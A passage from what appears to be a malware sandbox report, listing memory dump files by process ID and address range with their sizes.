memory/8720-1402-0x00000000021B0000-0x00000000021B1000-memory.dmpFilesize
4KB
-
memory/8720-1403-0x0000000070250000-0x000000007093E000-memory.dmpFilesize
6.9MB
-
memory/8720-1411-0x0000000004A33000-0x0000000004A34000-memory.dmpFilesize
4KB
-
memory/8720-1409-0x0000000004A32000-0x0000000004A33000-memory.dmpFilesize
4KB
-
memory/8764-1463-0x00000000008D0000-0x00000000008DC000-memory.dmpFilesize
48KB
-
memory/8764-1462-0x00000000008E0000-0x00000000008E7000-memory.dmpFilesize
28KB
-
memory/8832-1348-0x0000000004F20000-0x0000000004F21000-memory.dmpFilesize
4KB
-
memory/8832-1351-0x0000000004F20000-0x0000000004F21000-memory.dmpFilesize
4KB
-
memory/8836-1474-0x0000000000B50000-0x0000000000B57000-memory.dmpFilesize
28KB
-
memory/8836-1475-0x0000000000B40000-0x0000000000B4B000-memory.dmpFilesize
44KB
-
memory/8864-1347-0x0000000000400000-0x0000000000451000-memory.dmpFilesize
324KB
-
memory/8864-1353-0x0000000000400000-0x0000000000451000-memory.dmpFilesize
324KB
-
memory/8884-1565-0x0000000000400000-0x0000000000499000-memory.dmpFilesize
612KB
-
memory/8884-1564-0x00000000030D0000-0x0000000003166000-memory.dmpFilesize
600KB
-
memory/8884-1559-0x00000000030D0000-0x00000000030D1000-memory.dmpFilesize
4KB
-
memory/8952-1438-0x00000000024A0000-0x00000000024A1000-memory.dmpFilesize
4KB
-
memory/8976-1554-0x0000024A00A60000-0x0000024A00A61000-memory.dmpFilesize
4KB
-
memory/9000-1504-0x0000000000400000-0x0000000000415000-memory.dmpFilesize
84KB
-
memory/9000-1502-0x0000000000950000-0x0000000000963000-memory.dmpFilesize
76KB
-
memory/9000-1499-0x0000000002490000-0x0000000002491000-memory.dmpFilesize
4KB
-
memory/9128-1830-0x000001ABD0C80000-0x000001ABD0CE7000-memory.dmpFilesize
412KB
-
memory/9160-1914-0x0000029C5A890000-0x0000029C5A8F7000-memory.dmpFilesize
412KB
-
memory/9160-1915-0x0000029C5CC00000-0x0000029C5CD00000-memory.dmpFilesize
1024KB
-
memory/9172-1361-0x0000000004520000-0x0000000004521000-memory.dmpFilesize
4KB
-
memory/9292-1810-0x00007FFCE0820000-0x00007FFCE120C000-memory.dmpFilesize
9.9MB
-
memory/9292-1818-0x000001F7D81C0000-0x000001F7D81C2000-memory.dmpFilesize
8KB
-
memory/9292-1821-0x000001F7D81C3000-0x000001F7D81C5000-memory.dmpFilesize
8KB
-
memory/9380-1627-0x0000000002400000-0x0000000002401000-memory.dmpFilesize
4KB
-
memory/9568-1571-0x0000000070250000-0x000000007093E000-memory.dmpFilesize
6.9MB
-
memory/9568-1622-0x0000000006940000-0x0000000006941000-memory.dmpFilesize
4KB
-
memory/9568-1580-0x00000000035D2000-0x00000000035D3000-memory.dmpFilesize
4KB
-
memory/9568-1835-0x00000000035D3000-0x00000000035D4000-memory.dmpFilesize
4KB
-
memory/9568-1579-0x00000000035D0000-0x00000000035D1000-memory.dmpFilesize
4KB
-
memory/9852-1581-0x00000000024B0000-0x00000000024B1000-memory.dmpFilesize
4KB
-
memory/9876-1641-0x00007FFCE0820000-0x00007FFCE120C000-memory.dmpFilesize
9.9MB
-
memory/9876-1655-0x000001B82CE20000-0x000001B82CE22000-memory.dmpFilesize
8KB
-
memory/9876-1657-0x000001B82CE23000-0x000001B82CE25000-memory.dmpFilesize
8KB
-
memory/9876-1688-0x000001B814930000-0x000001B814931000-memory.dmpFilesize
4KB
-
memory/9876-1828-0x000001B82D110000-0x000001B82D111000-memory.dmpFilesize
4KB
-
memory/10060-1601-0x00000000023C0000-0x00000000023C1000-memory.dmpFilesize
4KB
-
memory/10084-1582-0x00000190BF140000-0x00000190BF141000-memory.dmpFilesize
4KB
-
memory/10156-1583-0x0000019878230000-0x0000019878231000-memory.dmpFilesize
4KB
-
memory/10156-1819-0x0000019878230000-0x0000019878276000-memory.dmpFilesize
280KB
-
memory/10156-1822-0x0000019878230000-0x0000019878276000-memory.dmpFilesize
280KB